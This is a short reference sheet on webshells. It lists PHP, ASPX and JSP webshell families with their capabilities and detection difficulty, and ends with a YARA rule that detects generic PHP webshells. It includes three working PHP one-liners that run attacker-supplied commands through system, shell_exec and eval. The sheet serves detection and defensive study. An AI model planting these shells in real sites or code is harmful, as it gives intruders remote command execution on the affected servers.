# Webshell Types Reference

## PHP Webshells

### Simple Command Shells
```php
<?php system($_GET['c']); ?>
<?php echo shell_exec($_POST['cmd']); ?>
<?php eval($_REQUEST['e']); ?>
```

### Notable Families
| Name | Capability | Detection Difficulty |
|------|-----------|---------------------|
| China Chopper | Full-featured, tiny (~73 bytes client) | Medium |
| WSO (Web Shell by Orb) | File manager, DB client, brute force | Medium |
| b374k | Full-featured, password protected | Medium |
| Weevely | Encrypted comms, modular | High |
| p0wny-shell | Interactive terminal emulation | Low |
| r57/c99 | Legacy full-featured shells | Low |

## ASPX/ASP Webshells
| Name | Features |
|------|---------|
| ASPXSpy | File manager, command execution, DB access |
| ASPX cmd shell | Simple command execution |
| Antsword ASPX | Cross-platform agent communication |

## JSP Webshells
- JspSpy: Full-featured Java webshell
- Godzilla: Encrypted communication, payload generation
- Behinder: AES-encrypted traffic, memory shell support

## Detection YARA Rules

```yara
rule php_webshell_generic {
    meta:
        description = "Generic PHP webshell detection"
    strings:
        $exec1 = "system(" ascii nocase
        $exec2 = "passthru(" ascii nocase
        $exec3 = "shell_exec(" ascii nocase
        $exec4 = "eval(" ascii nocase
        $input1 = "$_GET" ascii
        $input2 = "$_POST" ascii
        $input3 = "$_REQUEST" ascii
    condition:
        any of ($exec*) and any of ($input*)
}
```